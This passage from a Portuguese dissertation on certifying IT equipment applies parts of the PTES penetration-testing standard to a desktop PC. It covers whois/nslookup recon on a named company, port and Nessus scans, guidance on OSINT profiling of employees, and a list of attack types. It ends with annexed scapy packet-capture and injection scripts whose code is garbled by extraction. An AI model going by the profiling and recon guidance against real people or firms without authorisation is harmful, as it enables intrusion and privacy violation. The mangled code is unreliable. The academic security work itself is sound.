Nesta Dissertação propõe-se que estes testes tenham por base o Penetration Testing Execution Standard - PTES que é uma norma concebida para fornecer tanto a fabricantes como a profissionais da segurança, uma linguagem e um âmbito comuns para a realização de testes de penetração. Esta norma de acesso e utilização gratuitos começou a ser desenvolvida em 2009 por um grupo de profissionais de segurança informática, sendo que hoje em dia tem a colaboração de várias entidades e organizações desta área [84].

A norma está organizada de uma forma que compreende as ações desde a encomenda dos Testes de Penetração por parte de um cliente, recolha de informações acerca desse cliente, detalhes em termos contratuais, entre outras operações que no caso deste exemplo de aplicação da Metodologia de Certificação não terão uma aplicação direta.

Assim, neste exemplo, não se pretende realizar os Testes de Penetração à empresa onde o equipamento em teste irá ser inserido, ou seja, não é objetivo desta Seção uma aplicação total da norma PTES, mas sim tê-la por base para a realização de alguns dos testes que a mesma propõe, ao equipamento analisado.

.



201 .

A utilidade da aplicação desta norma passa também pelo ganho de inteligência por parte do Laboratório sobre a entidade onde o equipamento irá ser inserido e assim perceber quais as suas vulnerabilidades, quais os seus bens e serviços, motivações de atacantes, entre outros fatores.

Atualmente o PTES divide-se em sete Secções principais [84]:

Pre-engagement Interactions – que se propõe a tradução para Interações de Pré-Arranque ou Interações de Pré-Contrato; Inteligence Gathering – que se propõe a tradução para Recolha de Inteligência ou Recolha de Informações; Threat Modeling – que se propõe a tradução para Modelação das Ameaças ou Análise de Pontos Fracos; Vulnerability Analysis – que se propõe a tradução para Análise de Vulnerabilidades; Exploitation – que se propõe a tradução para Exploração dos Ataques; Post Exploitation – que se propõe a tradução para Pós Exploração dos Ataques; Reporting – que se propõe a tradução para Documentação ou Relatório.

Cada uma destas Secções apresenta um conjunto de ações que devem ser realizadas de modo a completar a aplicação da norma PTES. Estas ações são disponibilizadas através de uma descrição pormenorizada do que se deve realizar e também através de imagens em forma de árvore hierárquica com os nomes das mesmas de modo a disponibilizar graficamente a estrutura de cada Secção, como exemplifica a Figura que se segue.

.



202 .

Figura 70 - Ramos de Aplicação da Análise de Vulnerabilidades da Norma PTES (Fonte: [84])

De seguida apresentam-se as descrições das Secções que compõem o PTES, e qual o seu enquadramento com a Metodologia de Certificação proposta.

Pre-engagement Interactions

Esta Secção tem como objetivo a preparação dos Testes tanto a nível de questões legais, ferramentas a utilizar, gestão do tempo, como lidar com o Cliente e outras entidades envolvidas, marcação de reuniões, estabelecimento de linhas de comunicações, questionários, termos de pagamento, entre outras questões. Neste caso específico, estas questões não se aplicam diretamente,

.



203 .

uma vez que já foram abordadas na Metodologia de Certificação proposta, e a aplicação desta norma PTES é um complemento a essa mesma Metodologia e não, como já foi referido, uma implementação única e exaustiva da mesma.

Inteligence Gathering

Esta Secção tem como objetivo a recolha de Informação da entidade sobre a qual incidirão os Testes de Penetração e o ganho de inteligência sobre a mesma. Neste caso esses testes não incidirão especificamente sobre uma entidade, mas sim sobre um equipamento, ou seja, o computador de secretária. No entanto, quanto mais e melhor Informação se obtiver sobre a entidade na qual o equipamento irá ser inserido, maiores são as hipóteses de se efetuarem corretamente os testes.

Esta recolha pode determinar vários “pontos de entrada” na empresa, sejam eles físicos, eletrónicos ou humanos, sendo que no caso deste exemplo interessarão apenas os eletrónicos (virtuais) e concretamente os que possam afetar ou estar relacionados com o equipamento em testes.

Por outro lado, conhecendo a realidade da empresa, permitirá também ao Laboratório perceber quais são as motivações que potenciais atacantes poderão ter em obter Informação dessa entidade e ajudar a entender qual o seu modus operandi.

A Inteligence Gathering propõe que seja recolhida diversa Informação sobre o alvo, como Informações Livres (Open Source Intelligence) que englobam Informação Corporativa (Corporate) Física como localização das instalações, das suas dependências, e Informação Corporativa lógica como clientes e fornecedores, principais concorrentes, parceiros de negócio, qual o nicho de mercado que ocupa, principais produtos ou serviços fornecidos, campanhas de marketing efetuadas, datas importantes para a entidade, organograma, ofertas de trabalho, informação financeira, entre outros fatores. Outro tipo de Informação importante a recolher nesta fase é a eletrónica, como sejam meta dados, domínios web, contas de e-mail, tecnologias utilizadas, aplicações utilizadas, acessos remotos autorizados, tecnologias de defesa, entre outros fatores. Muita desta Informação pode ser recolhida através de acessos públicos a instalações, documentos, páginas web, ou outras formas de acesso. Outra Informação poderá ser obtida com recurso a aplicações específicas, como por exemplo as fornecidas pelo Kali Linux.

.



204 .

A Figura que se segue ilustra algumas das aplicações de Inteligence Gathering fornecidos pelo Kali Linux.

Figura 71 - Aplicações de Information Gathering do Kali Linux

Não se apresenta uma recolha exaustiva de Informação da empresa utilizada neste exemplo, a Resialentejo E.I.M., mas sim alguns exemplos, como sejam a obtenção de alguns dados sobre o servidor web da empresa, como ilustra a Figura que se segue.

Figura 72 - Utilização no nslookup para obter informação do servidor da Resialentejo

Através de utilização de alguns comandos bash, é possível obter informação que poderá ser importante para a utilização em possíveis entradas na empresa.

.



205 .

As Figuras apresentam a utilização nos comandos nslookup e whois que permitem obter o endereço IP do servidor da Resialentejo tal como o endereço IP da sua página web. Além disso permitem saber alguns detalhes de quem pertence o servidor onde a mesma está alojada.

Figura 73 - Utilização do whois para obter informação do servidor da Resialentejo

.



206 .

Por outro lado pode também ser útil recolher Informação Individual (Individual) nomeadamente sobre os colaboradores como o seu historial (presenças em tribunais ou outras ações de âmbito judicial, doações políticas, licenças profissionais ou registos, entre outros), perfis de redes sociais (identificação dos colaboradores em redes sociais, verificando quais as suas áreas de interesse, quais as viagens que efetuam, que tipo de conversas mantêm, entre outros), presença na internet (endereços de e-mail, páginas pessoais, blogs, entre outros), localização física (moradas de imóveis, entre outros), telemóvel e outros dispositivos. Muita Informação sobre eventuais ataques pode surgir conhecendo o perfil dos colaboradores da empresa, na medida em que podem partilhar Informação importante ou até mesmo encetar eles próprios algum tipo de ataque como forma de retaliação ou descontentamento.

Threat Modeling

O PTES também propõe uma Modelação das Ameaças (Threat Modeling). Esta Secção tem como objetivo detalhar os elementos que, com base nos trabalhos desenvolvidos nas Secções anteriores, possam identificar potenciais recursos (documentos, equipamentos, aplicações ou outros) a atacar tal como os meios necessários para o conseguir.

A norma não utiliza um modelo específico, mas requer que o modelo utilizado seja consistente em termos de representações de ameaças, as suas capacidades, as suas qualificações dentro da Organização e a sua capacidade de poderem ser aplicadas em futuros testes, com os mesmos resultados.

A Secção divide-se em dois elementos chave: bens e atacantes, em que cada um é dividido em bens de negócio e procedimentos da área de negócio e comunidades de ameaças e as suas capacidades, respetivamente. Estes quatro elementos devem ser bem identificados e documentados.

Devem ser tidos em conta aspetos como o valor dos diferentes bens disponíveis no alvo tal como os custos da sua aquisição. Como modelo complementar, uma modelação de impacto também deve ser realizada na organização a fim de fornecer informação do tipo “e se?” para situações de perda de cada um dos bens identificados. A modelação de ameaças de alto nível deve seguir os seguintes processos:

o Reunir documentação importante; o Identificar e categorizar bens primários e secundários;

.



207 .

o Identificar e categorizar ameaças e comunidades de ameaças; o Mapear comunidades de ameaças contra os bens primários e

secundários.

Assim, devem ser analisados os Bens da Empresa (Business Asset Analysis), Políticas, Planos e Procedimentos (Policies, Plans, and Procedures), Informação dos Produtos (Product Information), Informação de Marketing (Marketing Information), Informação Financeira (Financial Information), Informação Técnica (Technical Information), Informação de Design das Infra-estruturas (Infrastructure Design Information), Informação Sobre Configurações de Sistema (System Configuration Information), Credenciais dos Utilizadores (User Account Credentials), Dados dos Funcionários (Employee Data) e Dados dos Clientes (Customer Data).

Por outro lado devem também ser analisados os Processos da Empresa (Business Process Analysis) tais como Processos de Suporte a Infraestruturas Técnicas (Technical Infrastructure Supporting Process), Processos de Suporte a Bens de Informação (Information Assets Supporting Process), Processos de Suporte a Bens Humanos (Human Assets Supporting Process) entre outros.

Para o caso específico deste exemplo, eventualmente não será necessária uma análise tão exaustiva como a proposta nesta Secção, sendo que a mesma servirá apenas para o ganho de inteligência sobre a empresa onde o equipamento irá ser inserido.

Vulnerability Analysis

Esta Secção tem como objetivo descobrir as fraquezas de uma entidade em termos de sistemas e aplicações, que possamm ser utilizadas para efetuar ataques. Estas fraquezas podem ir desde má configurações de equipamentos e/ou serviços até aplicações inseguras por si só ou por configurações deficientes. Os processos de pesquisa e análise destas fraquezas variam consoante os sistemas, as aplicações, a entidade ou outros fatores.

O PTES propõe a realização de testes ativos e passivos. Os testes ativos envolvem diretamente a interação com os componentes que estão a ser testados, que podem ser componentes de um nível mais baixo como por exemplo testar a pilha do protocolo TCP num dispositivo de rede ou de um nível mais alto como por exemplo testar a interface web de uma determinada aplicação. Existem dois métodos propostos de interagir com o componente alvo: automáticos ou manuais.

.



208 .

Para este exemplo, propõe-se a realização de alguns desses testes tais como a verificação das “portas” abertas (port scan) do computador em testes. Esta verificação pode ser efetuada de várias formas e através de várias ferramentas. No caso deste exemplo utilizou-se a aplicação zenmap com a opção intense scan como mostra a Figura que se segue.

Figura 74 - Exemplo da utilização da Aplicação Zenmap

No computador em testes foi detetada apenas a porta 5357 aberta, que está registada na Internet Assigned Numbers Authority - IANA49 que é a entidade responsável pela coordenação global de recursos e protocolos Internet, e que tem na sua descrição Web Services for Devices que permite a dispositivos de rede baseados em endereços IP partilharem as suas funcionalidades e oferecerem os seus serviços a eventuais clientes de rede. Esta porta é utilizada pelo serviço Microsoft Network Discovery. É aconselhável que esta porta esteja referenciada na firewall do sistema para apenas aceitar ligação de rede local. Existem alguns serviços maliciosos que podem utilizar esta porta como por exemplo o Trojan.win32.monder.gen (também conhecido como Trojan.Vundo) [85] [86].

49 http://www.iana.org

.



209 .

De modo a efetuar uma comparação, realizaram-se também port scans ao computador que analisa as comunicações e ao computador que simula tráfego na LAN criada para os diferentes cenários, e onde se verificaram a existência de mais portas abertas, como ilustra a Figura que se segue.

Figura 75 - Exemplo da utilização da Aplicação Zenmap

Outra aplicação de análise de vulnerabilidades é a NESSUS, que permite além dos testes internos a LANs, efetuar testes externos e a aplicações web. A Figura que se segue ilustra um exemplo de utilização desta ferramenta.

Figura 76 - Exemplo de Utilização da Aplicação NESSUS

.



210 .

Efetuou-se um teste ao computador analisado, escolhendo a opção Internal Network Scan e colocando o seu endereço IP. Findo o teste, é apresentado um sumário com o resultado das potenciais vulnerabilidades encontradas, como ilustra a Figura que se segue.

Figura 77 - Resultado da Utilização da Aplicação NESSUS

Cada potencial vulnerabilidade é apresentada com uma descrição, recomendações para a sua solução, qual o fator de risco, quais as portas em causa, entre outra informação útil, como ilustra a Figuras que se seguem.

Figura 78 – Vulnerabilidade encontrada pela Aplicação NESSUS

.



211 .

Figura 79 - Vulnerabilidade encontrada pela Aplicação NESSUS

Estes são apenas dois exemplos de aplicações capazes de efetuar uma verificação de portas abertas e potenciais vulnerabilidades, sendo que existem mais propostas com outras especificidades que poderão obter outro tipo de resultados consoante as configurações, o equipamento, ou outras caraterísticas do ambiente em que são efetuadas as análises.

Também existem mais formas de explorar fraquezas, através de testes ativos ou passivos, que poderão descobrir vulnerabilidades na entidade, ou mais concretamente para este exemplo, no computador analisado.

Exploitation

Esta Secção tem como objetivo estabelecer acesso ao sistema ou recurso que se está a testar, ignorando ou quebrando as restrições de segurança. O principal objetivo será identificar uma entrada para a organização, conseguir identificar e aceder aos recursos mais valiosos.

Um dos principais objetivos de um Teste de Penetração é o de simular as ações de um atacante contra a organização em teste. Vistas nas Secções anteriores determinadas vulnerabilidades, será objetivo desta simular ataques que possam explorar essas mesmas fraquezas do equipamento. Devem ser utilizadas técnicas de evasão para escapar à deteção durante um Teste de Penetração.

.



212 .

Em qualquer cenário, os ataques devem ser primeiramente baseados e configurados para esse mesmo cenário e para as suas especificidades. Existem diversos tipos de ataques como por exemplo:

o Web Application Attacks o Social-Engineering o Physical Attack o Avenues Memory Based Exploits (i.e. buffer/heap overflows, memory

corruptions, use-after-free) o Man in the Middle o VLAN Hopping o USB/Flash Drive deployment o Reverse Engineering o Zero-Day Angle o Attacking the user Encryption o Cracking Graphics Processing Unit (GPU) o Cracking Traffic Analysis o Firewire Routing protocols Phishing with Pretexting Employee

Impersonation

Estes são apenas alguns exemplos de ataques, sendo que o real valor e eficácia de um ataque vem sempre da criatividade e capacidade de identificar vulnerabilidades e saber explora-las de um modo preciso e não detetável.

No caso deste exemplo, e caso fossem detetadas vulnerabilidades nas Seções anteriores do PTES, devia neste ponto ser efetuado um estudo de como se podem aceder aos recursos, e identificar as fraquezas de modo a resolver essas mesmas vulnerabilidades.

Post Exploitation

Esta Secção tem como objetivo determinar o valor do alvo comprometido e manter o seu controlo para utilização posterior. O valor da máquina atacada é determinado pela sensibilidade da informação que lá está armazenada e na utilidade que o computador poderá ter em comprometer a rede interna.

Os métodos descritos nesta Fase têm como objetivo ajudar o executante do teste a identificar e documentar informação sensível, identificar configurações, identificar canais de comunicação, identificar relações com dispositivos de outras redes que possam ser utilizados para ter acesso à rede, e configurar um ou mais modos de ganhar acesso à máquina mais tarde.

.



213 .

No caso deste exemplo pode ser importante efetuar uma análise das Infraestruturas (Infrastructure Analysis), das Configuração da Rede (Network Configuration), dos Serviços da Rede (Network Services), dos Programas e Serviços instalados, entre outras análises.

Reporting

Esta Secção tem como objetivo definir critérios base para a realização de documentação sobre os Testes de Penetração efetuados. O PTES não define exatamente um formato único de Reporting, sendo aconselhável que o formato utilizado pelo executante dos testes deva fornecer um elevado nível de detalhe, mas ao mesmo tempo uma fácil leitura e entendimento de cada uma das suas Secções e concretamente do que foi realizado e quais as soluções apontadas.

No caso deste exemplo, não se aplica a realização deste Reporting uma vez que a aplicação do PTES, como já foi referido, enquadra-se na aplicação do Modelo de Certificação proposto e como tal só algumas das suas Seções são utilizadas.

A documentação relativa aos Testes de Penetração efetuados e do restante processo são parte integrante do Relatório Técnico.

8.5.7 Testes com Aplicações Específicas

Na Metodologia de Certificação proposta também é referido que devem ser efetuados testes com aplicações específicas tais como antivírus, antimalware, deteção de backdoors, ou outras aplicações de deteção de vulnerabilidades específicas existentes no mercado ou desenvolvidas pelo Laboratório.

O objetivo será que estas aplicações detetem à partida, no Laboratório e em ambiente controlado, algum tipo de ameaça que possa comprometer o computador analisado.

.



214 .

8.6. Nível de Garantia de Idoneidade

Com base nos resultados dos testes e avaliações efetuados, o equipamento deve obter um Nível de Garantia de Idoneidade consoante o número de ocorrências registadas.

O Nível de Garantia de Idoneidade obtido foi o mais elevado uma vez não foram detetadas quaisquer ocorrências dignas de registo que fossem consideradas comprometedoras à segurança do equipamento analisado.

Nível de Garantia Descrição

NG5 O equipamento não apresentou quaisquer ocorrências durante os testes

Tabela 22 - Nível de Garantia obtido no exemplo de aplicação da Metodologia de Certificação proposta

8.7. Relatório Técnico e Certificação

As Secções anteriormente descritas neste Capítulo são elas próprias o conteúdo do RT, à exceção da capa e introdução que não estão presentes neste exemplo. Deste modo não se irá nesta Secção apresentar um Relatório no seu formato final uma vez que a Informação mais relevante já foi anteriormente apresentada.

Além do RT deve ser emitido pelo Laboratório um Certificado da Idoneidade do Equipamento com um resumo do Relatório e com o Nível de Garantia de Idoneidade obtido e também uma Marcação que identifique que o equipamento foi avaliado pelo Laboratório, que deve ser colocada no mesmo após a acreditação dessa mesma avaliação, a qual se exemplifica na Figura que se segue.

Figura 80 - Exemplo de Marcação da Certificação de Idoneidade

.



215 .

8.8. Acreditação da Certificação do Equipamento

Como já foi referido, a acreditação da certificação do equipamento deverá ser atribuída, por análise à avaliação efetuada pelo Laboratório, mais concretamente ao RT, através de um organismo de certificação independente.

Como já foi referido na Secção “4.5 Gabinete Nacional de Segurança - GNS”, faz parte da Missão do GNS avaliar, acreditar e certificar a segurança de produtos e sistemas de comunicações, de informática e de tecnologias de informação que sirvam de suporte ao tratamento, arquivo e transmissão de informação classificada e proceder à realização de limpezas eletrónicas.

Assim, deverá ser o GNS a atribuir uma acreditação à avaliação efetuada pelo Laboratório de Certificação de Idoneidade.

.



216 .

.


217 .

Capítulo 9 Conclusão e Trabalho Futuro

Apresentam-se as principais conclusões sobre o trabalho desenvolvido tal como sugestões para trabalho futuro que possa ser desenvolvido nesta área.

.


Capítulo 9 – Conclusão e Trabalho Futuro

218 .

9.1. Conclusão

Nesta Dissertação foram abordados temas relacionados com a Segurança da Informação e de Equipamentos Informáticos, mais concretamente foi efetuado um enquadramento sobre a importância das TI nas sociedades modernas, e em como todo um novo leque de possibilidades de ameaças tais como o Cibercrime, Ciberespionagem e Ciberguerra podem ser facilitadas pela crescente utilização destas Tecnologias, e a sua interligação através da Internet, em todos os setores dessas sociedades.

Foram apresentados alguns exemplos de ameaças deste tipo, utilizando o Ciberespaço como meio de propagação e de operação, levadas a cabo por diferentes tipos de atacantes, com diferentes níveis de sofisticação e com diferentes objetivos, mas que merecem cada uma delas destaque por mostrarem como podem comprometer diferentes entidades, organizações ou a soberania de países.

A conjuntura mundial aponta para um número crescente das ameaças referidas, e da sofisticação e variedade dos métodos utilizados para as encetar. Estes métodos podem incluir a utilização de malware para os mais diversos fins, que pode ser introduzido nos equipamentos através da sua disseminação pela Internet ou através de dispositivos infetados. Por outro lado, foi também abordada a possibilidade advinda desta conjuntura, de que a introdução de malware nos equipamentos, ou em algum dos seus componentes, possa ser efetuada durante o seu processo de fabrico ou durante outro ponto do seu ciclo de vida, antes de chegar ao comprador final. Têm nos últimos anos surgido casos de equipamentos, ou de componentes como microchips, que são assumidos como novos no momento da sua aquisição mas que na realidade trazem embutidas ameaças que poderão ser exploradas sem que o utilizador do equipamento tenha conhecimento, e dependendo do meio no qual o equipamento irá operar, podem trazer consequências catastróficas.

A maioria das empresas assume os equipamentos comprados como idóneos e simplesmente introdu-los nas suas redes sem que exista uma garantia através de uma certificação acreditada, de que os mesmos estão livres de ameaças no momento da sua primeira utilização.

No seguimento desta conjuntura, apresentaram-se as principais iniciativas, normas e documentação relacionadas com a Segurança da Informação e de Equipamento Informático levadas a cabo a nível internacional nos últimos anos. Verificou-se que embora existam algumas normas e documentação que abordam questões relacionadas com a Segurança da Informação e de Equipamentos ou Sistemas Informáticos, e sistemas de Avaliação Laboratorial e Marcação de Equipamentos, não existe especificamente uma abordagem de Certificação de Idoneidade de

.



219 .

Equipamento Informático que deva ser implementada por um Laboratório com base em determinados parâmetros de Segurança.

Já a nível nacional, apresentaram-se também algumas iniciativas, normas e documentação sobre estas temáticas, onde também não existe um sistema que efetue este tipo de Certificação. Embora existam alguns meios, legislação e sistemas de apoio em termos de segurança da Informação e de equipamentos TI, não está ainda implementada uma Estratégia Nacional de Cibersegurança que possa englobar um sistema deste tipo.

Nesse sentido, foi proposto um Laboratório de Certificação de Equipamento Informático, com todas as especificações necessárias para a sua acreditação por parte do Instituto competente em Portugal, que vão desde os requisitos necessários para essa acreditação, requisitos de gestão, requisitos técnicos, equipamentos e aplicações, entre outros fatores que se pensam ser indispensáveis ao seu ótimo funcionamento. Uma infraestrutura deste tipo deverá ser capaz de receber equipamentos TI e efetuar testes e avaliações sobre os mesmos de modo a que possa emitir documentação que ateste a sua idoneidade, e que consequentemente sirva para obter uma certificação.

Para que se possa obter essa certificação, foi apresentada uma Metodologia que especifica a arquitetura do sistema de certificação. Desde logo foi apresentado um método, através de uma Ontologia de Equipamento Informático, que permite categorizar os equipamentos em classes de forma a realizar os testes e avaliações consoante essas especificidades. Esta Metodologia compreende vários estágios, que englobam vários procedimentos sobre o equipamento até à emissão de um relatório técnico que servirá para atestar a certificação.

De modo a exemplificar o sistema proposto nesta Dissertação, aplicou-se esta Metodologia de Certificação a um computador de secretária novo, dando destaque apenas a uma parte dos testes e avaliações assignados pela categoria obtida pela Sistematização da Ontologia, uma vez que devido à sua dimensão e grau de detalhe necessários, apenas poderia ser aplicada na sua totalidade num Laboratório devidamente implementado. Esta foi aliás a principal dificuldade encontrada, uma vez que a quantidade e heterogeneidade de testes e avaliações a realizar sobre um equipamento terá tamanha significância e grau de detalhe, que deverão existir vários meios técnicos e humanos capazes de os realizar. No entanto, e embora possa o exemplo ter um grau de abstração inerente ao nível académico envolvido, abordou todos os pontos que se julgam necessários à ilustração do Sistema de Certificação proposto.

Assim, pensa-se que esta Dissertação conseguiu abordar uma temática bastante, e cada vez mais, pertinente que é a de permitir confiar nos equipamentos TI adquiridos através de uma certificação da sua idoneidade, e contribuir para esse processo a que

.



220 .

urge dar resposta numa atualidade cada vez mais virada para um mundo Ciber em que as ameaças não visam apenas o roubo de dados pessoais, mas englobam toda uma nova realidade de apropriação de Informação a nível global, que pode comprometer equipamentos e consequentemente entidades e organizações de diferentes setores das sociedades, e em que o espetro de consequências pode variar consoante as intenções dos atacantes, ferramentas utilizadas e alvos alcançados.

Inevitavelmente muitas questões abordadas nesta Dissertação poderão ser melhoradas e outras tantas poderão ser adicionadas, situação abordada na Secção que se segue.

9.2. Trabalho Futuro

Como referido, existirão com certeza alguns temas abordados e pontos desenvolvidos que poderão ser aprofundados e refinados no futuro.

No que diz respeito à proposta de Laboratório de Certificação de Equipamento Informático pensa-se que as diferentes especificações apresentadas têm um grau de detalhe bastante significativo, e poderão ser utilizadas para a sua implementação. Poderão eventualmente ser alteradas ou adicionadas outras características, de modo à obtenção de acreditação do Laboratório por parte das instâncias competentes, ou para uma implementação do mesmo em moldes adaptáveis a uma diferente realidade.

Quanto à Ontologia poderá eventualmente ser melhorada adicionando um maior número de equipamentos passíveis de serem avaliados e um maior grau de detalhe nas suas Propriedades e Indivíduos, ou seja, nos testes e avaliações a efetuar.

Em relação à Metodologia de Certificação de Equipamento Informático, pensa-se que a sua arquitetura espelha um método exequível e eficiente de levar a cabo a certificação dos equipamentos, no entanto poderá eventualmente ser melhorada quanto ao seu nível de detalhe. A introdução de um maior rigor ao nível de detalhes como os tipos e as descrições dos testes e avaliações a realizar, que advém da já abordada Ontologia, podem ser fatores de enriquecimento do Trabalho desenvolvido.

Uma maior especificação das Aplicações a utilizar, que poderão passar por encontrar soluções proprietárias no mercado de oferta da área ou pelo desenvolvimento por parte dos meios humanos do Laboratório, podem impulsionar a eficiência desta Metodologia. Quanto às Aplicações desenvolvidas e utilizadas no exemplo da aplicação da Metodologia, poderão eventualmente ser melhoradas permitindo uma maior panóplia de opções e consequentemente a obtenção de melhores resultados.

.



221 .

No que diz respeito ao Relatório Técnico eventualmente poderá também ser alvo de uma maior especificação no que concerne aos seus conteúdos ou estrutura, de modo inclusive a seguir algumas recomendações a nível de Normas internacionais como do CC ou da ISO.

Como já foi referido, a Legislação Portuguesa contempla a possibilidade de Certificação de Segurança de Produtos e Sistemas de Comunicações, de Informática e de Tecnologias de Informação que sirvam de suporte ao Tratamento, Arquivo e Transmissão de Informação Classificada. Existe também uma proposta para uma Estratégia Nacional de Cibersegurança, que refere necessidade do nosso País levantar uma Estrutura Nacional de Cibersegurança, composta por uma capacidade de nível essencialmente operacional, o Centro Nacional de Cibersegurança e uma capacidade de nível estratégico, um Conselho de Cibersegurança capaz de garantir uma eficaz gestão de crises.

Até ao momento nenhuma destas abordagens foi ainda implementada, e aguarda-se com expetativa quais os avanços (ou recuos) de que as mesmas serão alvo por parte do governo. Esta será sem dúvida uma das principais questões a ter em conta em termos futuros, a nível nacional, nesta área da Segurança em TI.

.



222 .

.


223 .

Anexos Apresentam-se os Anexos utilizados para um melhor entendimento de alguns temas abordados

nesta Dissertação

.


Anexos

224 .

Anexo 1 – Lista de Produtos Certificados pelo Common Criteria – Estatísticas

Figura 81 - Lista de Produtos Certificados pelo CC por Categoria [47]

Figura 82 - Lista de Produtos Certificados pelo CC por Nível de Garantia e Data de Certificação [47]

.


Anexos

225 .

Figura 83 - Lista de Produtos Certificados pelo CC por Esquema e Nível de Garantia [47]

.


Anexos

226 .

Anexo 2 – Aplicação “captura_pacotes.py” #!/usr/bin/env python# coding: 860

'''##########################################################################################

INSTITUTO POLITÉCNICO DE BEJAEscola Superior de Tecnologia e Gestão

Mestrado em Engenharia de Segurança Informática - MESIUnidade Curricular: Dissertação

Docente: Doutor Rui Miguel Soares SilvaDiscente: Manuel Coelho N§12057

Data: novembro.2013

Descrição: aplicação destinada a efetuar recolha de tráfego de rede em LAN e gravação em ficheiro do tipo pcap

##########################################################################################'''

# importação das bibliotecas necessáriasimport sysimport osfrom scapy.all import *import datetime

''' ### FUNÇÕES ### '''

# limpeza da consola de sistemadef cls():

os.system('cls' if os.name=='nt' else 'clear')

# cria o cabeçalho na janela de terminaldef cabecalho():

print '###################################################'print '# #'print '# Captura de Pacotes de Rede V.1.0 #'print '# #'print '# gera um ficheiro do tipo "pcap" com "n" pacotes #'print '# de rede capturados #'print '# #'print '###################################################'print ' 'print 'Indique a sua opcao:'print ' 1 - Capturar um ficheiro "pcap" com "n" pacotes 'print ' 2 - Capturar mais do que um ficheiro "pcap" 'print ' 3 - Sair \n'

# espera por uma opçãodef pergunta1():

pergunta1 = raw_input('> ')if (pergunta1 == '1'):

return '1'elif (pergunta1 == '2'):


return '3'else:

return 'e'

# espera por uma op‡„odef pergunta2():

pergunta2 = raw_input('(s/n)> ')if (pergunta2 == 's'):

return 's'

.


Anexos

227 .

elif (pergunta2 == 'n'):return 'n'

else:return 'e'

# processa um ficheirodef capturar_um_ficheiro():

# pede ao utilizar o n£mero de pacotes a capturarprint '\nIndique o numero de pacotes que deseja capturar (ex: 500)'n_pacotes = raw_input('> ')

# pede ao utilizar o nome do ficheiroprint 'Indique o nome do ficheiro (nao necessita extensao (ex:"captura")'nome_fich = raw_input('> ')

# informa o utilizar que a captura está a decorrerprint '\n...Aguarde, captura de pacotes a decorrer...'

# captura o n£mero de pacotes introduzidopacotes=sniff(count=int(n_pacotes))

# guarda em ficheiro a capturaficheiro = nome_fich+'.pcap'wrpcap(ficheiro, pacotes)

# informa o utilizador que o ficheiro de captura foi criado com sucessoprint '\nFicheiro "%s" criado com sucesso !'%ficheiroprint '\n'

# processa vários ficheirodef capturar_varios_ficheiros():

# pergunta ao utilizar se já indicou os nomes dos ficheiros a processarprint 'Ja indicou no ficheiro de configuracoes "conf_captura.txt" os nomes 'print 'dos ficheiros "*.pcap" e os intervalos de tempo a capturar ? 'print ' ex:' print ' manha.pcap 09:00 12:30'print ' tarde.pcap 14:00 18:00'print ' noite.pcap 20:00 23:00'print ' #\n'

# espera por uma opção válidavalida = pergunta2()while (1):

if (valida == 's'):

# informa o utilizar que a captura está a decorrerprint '\n...Aguarde, a captura de pacotes esta a decorrer...'

# cria uma lista para colocar as linhas lidas do ficheirolista_linhas = []

# abre o ficheiro em modo de leiturawith open('conf_captura.txt', 'r') as f:

for linha in f:# lˆ as linhas do ficheiro para a lista sem as quebras de linhalista_linhas.append(str(linha.strip()))

# tamanho da listatam_lista_linhas = len(lista_linhas)

# para cada linha, ou seja, para cada ficheiro e intervalo de tempo# vai efetuar todos os cálculos e efetuar a captura e escrita para ficheiro for t in range (0, tam_lista_linhas-1):

elemento = lista_linhas[t].split()

#mostra cada linha do ficheiroprint elemento

# para cada linha vai ler os 3 elementos, nome do ficheiro# hora de início e hora de fim da capturanome_fich = elemento[0]hora_inicio = elemento[1].split(':')hora_fim = elemento[2].split(':')

.


Anexos

228 .

# caso seja o fim do ficheiro, saiif (nome_fich == '#'):

breakelse:

# converte em segundos e calcula o tempo total de captura em segundos

hora_inicial = 60 * (int(hora_inicio[0])*60 + int(hora_inicio[1]))hora_final = 60 * (int(hora_fim[0])*60 + int(hora_fim[1]))tempo_total = hora_final - hora_inicial

# como o formato da hora ‚ 24h, caso a hora final seja inferior … inicial,

# tem que calcularif ( int(hora_fim[0]) < int(hora_inicio[0]) ):

# se os minutos iniciais forem zero, subtrai …s 24h a hora inicial lida

# para obter as horas em segundos if (int(hora_inicio[1]) == 00):

hora_inicial = 60 * (60 * (24 - int(hora_inicio[0])) + int(hora_inicio[1]))

# caso existam minutos iniciais, subtrai a 23h a hora inicial lida

# e adiciona os minutos lidos, para obter as horas em segundoselse:

hora_inicial = 60 * (60 * (23 - int(hora_inicio[0])) + (60 - int(hora_inicio[1])))

# converte em segundos e calcula o tempo total de captura em segundos

hora_final = 60 * (int(hora_fim[0])*60 + int(hora_fim[1]))tempo_total = hora_inicial + hora_final

while (1):

# vai buscar a hora e minutos atuais ao sistema e as horas # e minutos de inicio e fim ao ficheironow = datetime.datetime.now()hm_atuais = now.strftime('%H:%M')hm_ficheiro_inicio = elemento[1]

# se a hora atual ‚ igual … hora de inicio do ficheiro# vai efetuar a captura de pacotes, durante o tempo que# foi calculado em segundosif (hm_atuais == hm_ficheiro_inicio):

# informa o utilizador que a captura foi iniciadaprint 'Inicio da captura...'

# guarda em variável a capturapacotes=sniff(timeout=tempo_total)

# guarda em ficheiro a capturawrpcap(nome_fich, pacotes)

# informa o utilizador que o ficheiro com a captura foi criado

print 'Ficheiro "%s" criado com sucesso'%nome_fichbreak

# fecha o ficheiro do modo de leitura, e torna a variável "valida" necessáriaao final da aplicação

f.close()print'\n\n'valida = 'sair'

elif (valida == 'n'):print 'Abra o ficheiro "conf_captura.txt" e coloque os nomes dos ficheiros

"*.pcap"'print 'a processar, um em cada linha com os respetivos intervalos de tempo de

captura'valida = pergunta2()

elif (valida == 'sair'):break

else:print 'Indique uma das opcoes possiveis...'valida = pergunta2()

.


Anexos

229 .

''' ### CORPO DO PROGRAMA ### '''

# limpa a consolacls()

# cria o cabeçalho na janela de terminalcabecalho()

# espera por uma opção válidawhile (1):

n_fich_process = pergunta1()if (n_fich_process == '1'):

capturar_um_ficheiro()cabecalho()

elif (n_fich_process == '2'):capturar_varios_ficheiros()cabecalho()

elif (n_fich_process == '3'):print 'Fim de execucao!'break

else:print 'Indique uma das opcoes possiveis...'

.


Anexos

230 .

Anexo 3 – Aplicação “injeta_pacotes.py” #!/usr/bin/env python# coding: 860

'''##########################################################################################




Data: novembro.2013

Descrição: aplicação destinada a enviar pacotes de rede a partir de ficheiros do tipo pcap

##########################################################################################'''

# importação das bibliotecas necessáriasimport sysimport osfrom scapy.all import *from scapy.utils import rdpcap

''' ### FUNÇÕES ### '''




